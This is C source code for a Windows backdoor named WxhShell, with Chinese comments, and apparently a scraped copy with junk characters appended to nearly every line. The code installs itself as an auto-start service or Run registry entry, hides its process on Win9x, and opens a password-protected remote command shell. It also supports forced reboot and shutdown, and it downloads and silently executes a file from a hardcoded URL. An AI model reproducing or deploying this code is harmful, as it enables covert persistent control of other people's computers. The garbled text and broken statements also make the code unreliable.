    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7_~ A*LM  
    else { d$IROZK-D  
    closesocket(wsh); H'A N osv  
    ExitThread(0); Ft5A(P >  
    } D4%J!L<P  
    break; @3`5(xwzm  
    } =rKJJa N  
  // 获取shell b.*LmSX#  
  case 's': { c 4z&HQd  
    CmdShell(wsh); %H{pU:[5*  
    closesocket(wsh); ]r`;89:s>  
    ExitThread(0); -K{R7  
    break; "vGh/sXW  
  } 0C4eer+D  
  // 退出 i/:L^SQAq  
  case 'x': { PMjNc_))  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U[C>Aoze  
    CloseIt(wsh); s`yzeo  
    break; w8lrpbLh  
    } zx@!8Z  
  // 离开 <G pji5f2  
  case 'q': { $dfc@Fn^x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T//xxH]w-  
    closesocket(wsh); kn3w6]  
    WSACleanup(); @O"7@%nu  
    exit(1); n;Bb/Z!~  
    break; L0w6K0J4  
        } 1UP {j`-K|  
  } FJ_JaIby  
  } B=A!hXNa  
w/@ZPBRo]  
  // 提示信息 n#!c!EfG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I`_2Q:r  
} (%_X{R'  
  } f:Pl Mv!{  
f' A$':Y  
  return; fHiL%]z  
} 4DL;Y  
}c G)$E  
// shell模块句柄 yaz6?,)  
int CmdShell(SOCKET sock) Yxq!7J  
{ ~n=DI/AJ@-  
STARTUPINFO si; 2u.0AG   
ZeroMemory(&si,sizeof(si)); ^ITF*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sk{skvd;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bPVk5G*ruP  
PROCESS_INFORMATION ProcessInfo; d(IJ-qJ N  
char cmdline[]="cmd"; i l^;2`]&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ("U<@~  
  return 0; JrcbJt  
} b1Vr>:sK47  
{ ^o.f  
// 自身启动模式 l~Jd>9DwY  
int StartFromService(void) !Yof%%m$;  
{ X>I3N?5  
typedef struct U["0B8  
{ h$5[04.Q  
  DWORD ExitStatus; U7WYS8  
  DWORD PebBaseAddress; /3s&??{tv  
  DWORD AffinityMask; x-i1:W9;  
  DWORD BasePriority; [8T{=+k  
  ULONG UniqueProcessId; Y`~B> J  
  ULONG InheritedFromUniqueProcessId; ]I|(/+}M  
}   PROCESS_BASIC_INFORMATION; S]3CRJU3`  
]bds~OY5 U  
PROCNTQSIP NtQueryInformationProcess;  l"ms:v  
fkI 5~Y|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \'~ E%=Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q7 PCMe  
^N7H~CT"  
  HANDLE             hProcess; Pd7\Q]of  
  PROCESS_BASIC_INFORMATION pbi; 8"%Es  
1L,L/sOwB&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R-%6v2;ry  
  if(NULL == hInst ) return 0; $0$sM/%  
NP;W=A F  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0AHQ(+Ap  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5L3+KkX@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^PEw#.WG  
"Z&.m..gc  
  if (!NtQueryInformationProcess) return 0; v,i|:;G  
4jXo5SkEJ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); W>#yXg9  
  if(!hProcess) return 0; gqS9{K(f  
0+SDFh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tWn dAM(U7  
nI6 gd%C  
  CloseHandle(hProcess); +q&Hj|;8r  
SnE^\I^O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?^voA.Bv<  
if(hProcess==NULL) return 0; d,GOP_N8I  
"3^tVX%$\[  
HMODULE hMod; X['9;1Xr  
char procName[255]; 6f +aGz  
unsigned long cbNeeded; f<8Hvumw  
lpG%rN!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^/BGOBK  
k6CXuU  
  CloseHandle(hProcess); ;VE y{%nF  
m* m),mZ"  
if(strstr(procName,"services")) return 1; // 以服务启动 -,bnj^L  
811>dVq3/  
  return 0; // 注册表启动 #gbB// <  
} 2.3_FXSt  
[6a-d> e{  
// 主模块 &_L%wV|[  
int StartWxhshell(LPSTR lpCmdLine) l~E~!MR  
{ Ef]Hpjvp  
  SOCKET wsl; 3en 9TB  
BOOL val=TRUE; mG S4W;  
  int port=0; :|;@FkQ  
  struct sockaddr_in door; ^}+\52w  
5{'hsC  
  if(wscfg.ws_autoins) Install(); HoPpUq5,  
c|/HX%Y  
port=atoi(lpCmdLine); 9JFN8Gf*)  
zamMlmls^  
if(port<=0) port=wscfg.ws_port; 3y)\dln  
2j+w5KvU  
  WSADATA data; C@XS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9[/0  
k|-\[Yl.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6 \8d6x>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (fpz",[  
  door.sin_family = AF_INET; D;+/ bll7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IQJ"B6U)  
  door.sin_port = htons(port); B[Lm}B[  
iTHwH{!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x)C}  
closesocket(wsl); j*>J1M3E  
return 1; D1rVgM  
} u=0O3-\h  
&D3]O9a0;  
  if(listen(wsl,2) == INVALID_SOCKET) { &3SS.&g4W  
closesocket(wsl); P3"R2-  
return 1; * BM|luYL  
}  Qxz[  
  Wxhshell(wsl); h  /  
  WSACleanup(); _r-LX"  
 w*`:v$  
return 0; :9QU\{2  
g`pq*D  
} zyS8LZ-y9  
uZ?P{E,K  
// 以NT服务方式启动 vx9!KWy}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y`RzcXblIZ  
{ LhO\a  
DWORD   status = 0; 8~(xi<"e  
  DWORD   specificError = 0xfffffff; ?TA7i b_  
)M0`dy{1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^BF}wQb :j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &ZD@-"@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8xB-cE  
  serviceStatus.dwWin32ExitCode     = 0; wlNL;W@w  
  serviceStatus.dwServiceSpecificExitCode = 0; dWn6-es  
  serviceStatus.dwCheckPoint       = 0; WX4sTxJK  
  serviceStatus.dwWaitHint       = 0; TO Hz3=  
>SXSrXyYX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k>ErD v8  
  if (hServiceStatusHandle==0) return; _9>,9aL  
Hf('BagBL  
status = GetLastError(); /MtmO$ .  
  if (status!=NO_ERROR) [~N;d9H+*1  
{ <);q,|eh2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; q=t!COS  
    serviceStatus.dwCheckPoint       = 0; ]0D-g2!|A  
    serviceStatus.dwWaitHint       = 0; VgbNZ{qk@  
    serviceStatus.dwWin32ExitCode     = status; g}%ODa !H  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;7\Fx8"s[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c+l1 l0BA  
    return; ZuGSRGX'  
  } F?6kkLS/  
EA~xxKq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PMP{|yEx"  
  serviceStatus.dwCheckPoint       = 0; 1"y !wsM%  
  serviceStatus.dwWaitHint       = 0; 9p8ajlYg,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^8&}Nk[j  
} o"JH B  
65aYH4"  
// 处理NT服务事件,比如:启动、停止 UIEvwQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c~U0&V_`j  
{ \kQ)fk]^  
switch(fdwControl)  ]~;*9`:  
{ P|Aac,nE+^  
case SERVICE_CONTROL_STOP: _&, A  
  serviceStatus.dwWin32ExitCode = 0; 3uYLA4[-B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =G}a%)?As\  
  serviceStatus.dwCheckPoint   = 0; nWsRa uY  
  serviceStatus.dwWaitHint     = 0; jgE{JK\n4  
  { yu6~:$%H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9(]_so24,  
  } THwM',6  
  return; v:SHaUS  
case SERVICE_CONTROL_PAUSE: cx:_5GF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [h-6;.e  
  break; wKpGJ& {  
case SERVICE_CONTROL_CONTINUE: i6paNHi*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0se%|Z|8  
  break; F/2cQ .u2  
case SERVICE_CONTROL_INTERROGATE: q]{gAGe~  
  break; ~k34#j:J65  
}; IGTO|sT"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SAnr|<Y/  
} _-fLD  
hp)>Nzdx  
// 标准应用程序主函数 }#1.$a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CRo'r/G  
{ -`4]u!A  
8 o}5QOW  
// 获取操作系统版本 k1D7=&i  
OsIsNt=GetOsVer(); <l1/lm<#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4&NB xe  
TzC(YWt  
  // 从命令行安装 \y7?w*K  
  if(strpbrk(lpCmdLine,"iI")) Install(); \!-]$&,j4  
1le9YL1_g  
  // 下载执行文件 ZTTA??}Y  
if(wscfg.ws_downexe) { |Kd6.Mx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ fMlbJq  
  WinExec(wscfg.ws_filenam,SW_HIDE); D&m1yl@\J  
} d*+}_EV)Y3  
"dCIg{j   
if(!OsIsNt) { =-!jm? st*  
// 如果时win9x,隐藏进程并且设置为注册表启动 DSs/D1mj&  
HideProc(); :(enaHn#~  
StartWxhshell(lpCmdLine); _A]jiPq  
} *?Eu{J){7%  
else #4|RaI|.  
  if(StartFromService()) {W?!tD43"  
  // 以服务方式启动 f #h0O3  
  StartServiceCtrlDispatcher(DispatchTable); pXNhU88  
else `x=kb;  
  // 普通方式启动 DQhHU1  
  StartWxhshell(lpCmdLine); n^QDMyC;I  
m@nGXl'!  
return 0; Rb<| <D+  
} d '2JMdbc  
:C;fEJN  
(NUXK  
+]t9kr  
=========================================== >kAJS??  
=O8YU)#  
#~j$J  
4`~OxL  
gs2qLb  
R@WW@ Of  
" C|}yE ;*a  
'q9Ejig  
#include <stdio.h> w+rw<,u%  
#include <string.h> '_g&!zi8~  
#include <windows.h> W=2.0QmW  
#include <winsock2.h> IF>v -Z  
#include <winsvc.h> |\B\IPs{%'  
#include <urlmon.h> |QzJHP @  
' Sd&I:?  
#pragma comment (lib, "Ws2_32.lib") ZHen:  
#pragma comment (lib, "urlmon.lib") zX=%BL?  
_BG `!3U+  
#define MAX_USER   100 // 最大客户端连接数 )FB<gCh7X  
#define BUF_SOCK   200 // sock buffer Q3lVx5G>4  
#define KEY_BUFF   255 // 输入 buffer >ptI!\i}  
&\?{%xj  
#define REBOOT     0   // 重启  UDpI @  
#define SHUTDOWN   1   // 关机 J'cE@(US  
.WOF:Nu4  
#define DEF_PORT   5000 // 监听端口 @W+8z#xr'  
21$^k5  
#define REG_LEN     16   // 注册表键长度 w;VUP@Wm  
#define SVC_LEN     80   // NT服务名长度 m";8 nm  
"~C \Z} ;  
// 从dll定义API |RpZr!3V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^umHuAAE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ahd{f!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); unL1/JY z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); R U[  
FlS)m`  
// wxhshell配置信息 avS9"e  
struct WSCFG { gKU*@`6G  
  int ws_port;         // 监听端口 jbOzbxR?  
  char ws_passstr[REG_LEN]; // 口令 ~R|fdD/%  
  int ws_autoins;       // 安装标记, 1=yes 0=no AF{o=@  
  char ws_regname[REG_LEN]; // 注册表键名 'iYaA-9j  
  char ws_svcname[REG_LEN]; // 服务名 uJ*|SSN~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ku^2K   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *|+ ~V/#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kGq<Zmy|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }xrrHp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k!@/|]3z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RAyR&p  
8HO)",+I  
}; zJ0'KHF}o  
"2"*3R<Y  
// default Wxhshell configuration gp'n'K]  
struct WSCFG wscfg={DEF_PORT, JvUHoc$sI  
    "xuhuanlingzhe", Us9$,(3  
    1, ,@gDY9Q3r/  
    "Wxhshell", 9.goO|~B~  
    "Wxhshell", OQX ek@~2  
            "WxhShell Service", ;+qPV7Z  
    "Wrsky Windows CmdShell Service", N~arxe (K  
    "Please Input Your Password: ", ,KibP_<%&P  
  1, E{9{%J  
  "http://www.wrsky.com/wxhshell.exe", YpZ 9h@,  
  "Wxhshell.exe" 4d'tK^X  
    }; Q;$/&Y*  
ZoC?9=k  
// 消息定义模块 `V ++})5v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q14A 'XW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UE\@7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]*;+ U6/?  
char *msg_ws_ext="\n\rExit."; o9HDxS$~^  
char *msg_ws_end="\n\rQuit."; Ll&5#q  
char *msg_ws_boot="\n\rReboot..."; 7]9s_13]  
char *msg_ws_poff="\n\rShutdown..."; -ap;Ul?  
char *msg_ws_down="\n\rSave to "; 7 -V_)FK2c  
f4T-=` SO  
char *msg_ws_err="\n\rErr!"; G@Zi3 5  
char *msg_ws_ok="\n\rOK!"; '*p-`  
J>Rt2K  
char ExeFile[MAX_PATH]; =Jl1D*B*  
int nUser = 0; Pq7tNM E  
HANDLE handles[MAX_USER]; TAJ9Y<  
int OsIsNt; zsRN\U  
R}+/jh2O|  
SERVICE_STATUS       serviceStatus; XKU=VOY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vrW9<{  
k0D&F;a%  
// 函数声明 dl$l5z\  
int Install(void); _5YL !v&  
int Uninstall(void); ;1OTK6  
int DownloadFile(char *sURL, SOCKET wsh); O,1u\Zy/  
int Boot(int flag); z06pX$Q.<  
void HideProc(void); SS~Txt75m  
int GetOsVer(void); fW}H##b  
int Wxhshell(SOCKET wsl); =v5(*$"pd"  
void TalkWithClient(void *cs); yZ)ScB^  
int CmdShell(SOCKET sock); s*#|EdD6@  
int StartFromService(void); #XY]@V\  
int StartWxhshell(LPSTR lpCmdLine); cwC, VYVl  
$BBfsaJPT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /s*>V@Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); u]MF r2  
G7/LYTT)  
// 数据结构和表定义 x}>tX  
SERVICE_TABLE_ENTRY DispatchTable[] = hJ4.:  
{ <,hBoHZSL  
{wscfg.ws_svcname, NTServiceMain}, >a-+7{};  
{NULL, NULL} /7"1\s0U  
}; ez5`B$$  
?H c A&  
// 自我安装 E:E &Wv?r  
int Install(void) =L wX+c  
{ # nYGKZ  
  char svExeFile[MAX_PATH]; YV940A-n  
  HKEY key; qiF~I0_0  
  strcpy(svExeFile,ExeFile); t@JPnA7~  
?RzT0HRd  
// 如果是win9x系统,修改注册表设为自启动 nG*6ic  
if(!OsIsNt) { ~D=@4(f8|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XP;&iZJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #"yf^*wX  
  RegCloseKey(key); 7ER 2 h*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?Ru`ma\;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^{K8uN7  
  RegCloseKey(key); qL+y8*  
  return 0; d=KOV;~);  
    } \j;uN#)28  
  } cnPX vD^kY  
} lM1!2d'P  
else { R39R$\  
,] {NZ9  
// 如果是NT以上系统,安装为系统服务 EXFxiw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Gs**BB&  
if (schSCManager!=0) C;) xjZiR  
{ _~(Xd@c(  
  SC_HANDLE schService = CreateService :{ T#M$T  
  ( pNJM]-D]m~  
  schSCManager, .- Lqo=o\  
  wscfg.ws_svcname, BD0-v`  
  wscfg.ws_svcdisp, ,< icW &a  
  SERVICE_ALL_ACCESS, EDQJ>c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FVmg&[ .  
  SERVICE_AUTO_START, *&0Hz{|  
  SERVICE_ERROR_NORMAL, bX(*f>G'  
  svExeFile, *vO'Z &  
  NULL, |)-:w?  
  NULL, YcV~S#b  
  NULL, ncdr/(`  
  NULL, 8)!;[G|  
  NULL Fb' wC  
  ); *n'x S L  
  if (schService!=0) "\[>@_p h  
  { rw2|1_AF  
  CloseServiceHandle(schService); k9xKaJ %1  
  CloseServiceHandle(schSCManager); B~#@fIL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \IfgL$+  
  strcat(svExeFile,wscfg.ws_svcname); i?/?{p$#a-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -*M:OF"Zh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z :+#3.4$3  
  RegCloseKey(key); swFOh5z  
  return 0; 6I#DlAU@v  
    } ( `+Z'Y  
  } ,GnU]f  
  CloseServiceHandle(schSCManager); Q9>]@DrAx  
} ;/T-rVND  
} [ d7]&i}*|  
_[o^23Hj  
return 1; XE*bRTEw  
} ItPK  
q*nz4QTOE  
// 自我卸载 r![JPhei  
int Uninstall(void) & }}WP:U  
{ 3rg^R"&  
  HKEY key; u(Sz$eV  
QJM!Wx+  
if(!OsIsNt) { X2YOD2<v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l|em E ^  
  RegDeleteValue(key,wscfg.ws_regname); SqF.DB~  
  RegCloseKey(key); !gHWYWu)!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :[f`HY&  
  RegDeleteValue(key,wscfg.ws_regname); =Zy!',,d,9  
  RegCloseKey(key); ><R.z( 4%  
  return 0; AuipK*&g  
  } i?dKmRp(@y  
} O f@#VZ  
} A i){,nh`0  
else { >wO$Vu `t  
]G PJ(+5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); otD?J= B  
if (schSCManager!=0) *yq]  
{ zn1Rou]6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~C7<a48x  
  if (schService!=0) ;OU>AnWr(&  
  { ;;hyjFGq%  
  if(DeleteService(schService)!=0) { ]NV ]@*`tO  
  CloseServiceHandle(schService); zf>^2t*\  
  CloseServiceHandle(schSCManager); xevP2pYG:  
  return 0; n(YHk\2  
  } /8t+d.r;/  
  CloseServiceHandle(schService); l )*,18n  
  } cievC,3*  
  CloseServiceHandle(schSCManager); Y*cJ4hQ  
} >-5Gt  
} <Iyot]E  
hdJwNmEA>  
return 1; 'F"Y?y:!  
} RrdtU7i3  
L"!ZY  
// 从指定url下载文件 xTFrrmxOf  
int DownloadFile(char *sURL, SOCKET wsh) tK}p05nPhl  
{ k+#l;<\2  
  HRESULT hr; 5vX 8mPR_  
char seps[]= "/"; _<RR`  
char *token; =Z .V+4+  
char *file;  L|lmStwe  
char myURL[MAX_PATH]; qJXsf M6  
char myFILE[MAX_PATH]; J7wQ=! g  
Dnm.!L8  
strcpy(myURL,sURL); 9_WPWFO  
  token=strtok(myURL,seps); fb.\V]K  
  while(token!=NULL) W#jZRviyq!  
  { tWSvxGCzn%  
    file=token; R=9~*9  
  token=strtok(NULL,seps); u@_!mjXQ  
  } {_XrZ(y/  
o;4e)tK  
GetCurrentDirectory(MAX_PATH,myFILE); ~@uY?jr  
strcat(myFILE, "\\"); k3>ur>aW  
strcat(myFILE, file); $W {yK+N  
  send(wsh,myFILE,strlen(myFILE),0); ,mjfZ*N  
send(wsh,"...",3,0); gr`Ar;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [}ZPg3Y  
  if(hr==S_OK) G</I%qM  
return 0; v V6Lp  
else SAG` ^t  
return 1; K+@eH#Cv,(  
]8m_*I!  
} >[H&k8\7n  
8\)U|/A7  
// 系统电源模块 2@R8P~^W  
int Boot(int flag) Zp(=[n5  
{ P A6KX5  
  HANDLE hToken; CI!Eq&D,  
  TOKEN_PRIVILEGES tkp; N`<4:v[P  
Vv yrty  
  if(OsIsNt) { Bq~hV;9nf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e@:P2(WW l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?l, X!o6  
    tkp.PrivilegeCount = 1; qH h'l;.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0i*'N ch#i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w~$c= JO#  
if(flag==REBOOT) { S@}B:}2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rI<nUy P?  
  return 0; ?wLdW1&PpX  
} c/=y*2,zo  
else { Y0PGT5].@'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E +Ujpd  
  return 0; OS"{"P  
} LGo2^Xx  
  } 6i]Nr@1C  
  else { Z[k#AgC)  
if(flag==REBOOT) { [EmOA.6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1J-Qh<Q   
  return 0; C '-zh\a  
} L`jB)wF /J  
else { aI={,\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $K?T=a;z  
  return 0; )pjjW"C+  
} %9QMzz5  
} # 5y9L  
{}g %"mi#  
return 1; 1c)\  
} Z#4JA/c!  
;V(H7 ZM  
// win9x进程隐藏模块 ){+[$@9  
void HideProc(void) a IpPL8a  
{ KbwTj*k[  
kUn2RZ6$#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); llHc=&y#  
  if ( hKernel != NULL ) E[jXUOu-  
  { Q(IJD4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R%b*EBZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1m>^{u  
    FreeLibrary(hKernel); |oe!P}u  
  } ?{ B[^  
TsaW5ho<p  
return; g>~cs_N@  
} (VYR!(17  
9Hf*cQ  
// 获取操作系统版本 YVB% kKv{  
int GetOsVer(void) ]{IR&{EI-  
{ lx{.H,1~  
  OSVERSIONINFO winfo; &GdL 9!hH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c q*p9c  
  GetVersionEx(&winfo); _m9~*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b:P\=k]8#  
  return 1; x7 "z(rKl  
  else wv, GBZ-f  
  return 0; (TEo_BW|+  
} 87^:<\pp  
\npz .g^c_  
// 客户端句柄模块 W\it+/  
int Wxhshell(SOCKET wsl) !}>eo2$r^  
{ F2IC$:e M  
  SOCKET wsh; 8yE!7$Mj  
  struct sockaddr_in client; 9?uqQ  
  DWORD myID; :O9P(X*  
Mn]}s:v  
  while(nUser<MAX_USER) G*i.a*9<)  
{ H<`^w)?  
  int nSize=sizeof(client); 2X|CuL{]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m_Mwg  
  if(wsh==INVALID_SOCKET) return 1; Z0e-W:&;kF  
O6yP qG*j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $d'CBsu|<  
if(handles[nUser]==0) {]&R8?%  
  closesocket(wsh); 2Sge  
else pO"m~mpA  
  nUser++; R{*_1cyW  
  } p{NPcT%&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^DBD63 N"  
("_Q  
  return 0; !xkj30O(G  
} EVR! @6@  
r2RBrZ@1  
// 关闭 socket n}19?K]g  
void CloseIt(SOCKET wsh) P?^JPbfV  
{ mT96 ]V \  
closesocket(wsh); eh$G.-2N  
nUser--; XjX 2[*l  
ExitThread(0); +x(YG(5\w  
} @. "q  
gf+o1\5t@  
// 客户端请求句柄 F?7u~b|@{  
void TalkWithClient(void *cs) Q"A_bdg5  
{ :I2H&,JT  
uu}'i\Q  
  SOCKET wsh=(SOCKET)cs; 8{oZi]ob  
  char pwd[SVC_LEN]; F4Rr26M  
  char cmd[KEY_BUFF]; );=Q] >  
char chr[1]; Q}=fVY  
int i,j; 4 GUA&qs  
,1,&b_  
  while (nUser < MAX_USER) { <z,+Eg  
'r~8  
if(wscfg.ws_passstr) { (FuEd11R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {`a(Tl8V  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Bq-0=E  
  //ZeroMemory(pwd,KEY_BUFF); 8+9\7*  
      i=0; TZe+<~4*i%  
  while(i<SVC_LEN) { {Jrf/p9w  
d$}&nV/A)  
  // 设置超时 sTiYf  
  fd_set FdRead; Q*gnAi&.#  
  struct timeval TimeOut; oWI!u 5  
  FD_ZERO(&FdRead); }@wVW))6$  
  FD_SET(wsh,&FdRead); #+$ zE#je  
  TimeOut.tv_sec=8; k=e`*LB\  
  TimeOut.tv_usec=0; &1P(O\ d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G(3;;F7"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )`^ /(YG  
byafb+x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kL|\wci  
  pwd=chr[0]; C#0brCQq3  
  if(chr[0]==0xd || chr[0]==0xa) { ((qGh>*  
  pwd=0; F'1k<V?  
  break; sMP:sCRC  
  } #00D?nC  
  i++; ^ESUMXb  
    } K!p,x;YX  
*,17x`1e  
  // 如果是非法用户,关闭 socket [P{a_(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); / $_M@>  
} CI^[I\$&  
K U $`!h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /HZv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;`+`#h3-V  
Pubv$u2  
while(1) { q(gjT^aN  
;,k=<]  
  ZeroMemory(cmd,KEY_BUFF); pl|h>4af  
9p4y>3  
      // 自动支持客户端 telnet标准   X &D{5~qC  
  j=0; NEw $q4  
  while(j<KEY_BUFF) { ~cIl$b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "kU]  
  cmd[j]=chr[0]; 1 DqX:WM6  
  if(chr[0]==0xa || chr[0]==0xd) { o,1Dqg4P3  
  cmd[j]=0; 3 <9{v  
  break; ~g7m3  
  } <[ZI.+_Wt  
  j++; KzNm^^#/$A  
    } { D+Ym%n  
w.z<60%},0  
  // 下载文件 ~@D/A/|  
  if(strstr(cmd,"http://")) { GWdSSr>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5rloK"  
  if(DownloadFile(cmd,wsh)) RJhK$\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?`H[u7*%  
  else P#MK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &<Zdyf?[Ou  
  } doR4nRl9  
  else { {n&Uf{  
k3>YBf`fC  
    switch(cmd[0]) { H O*YBL  
  [9AM\n>g  
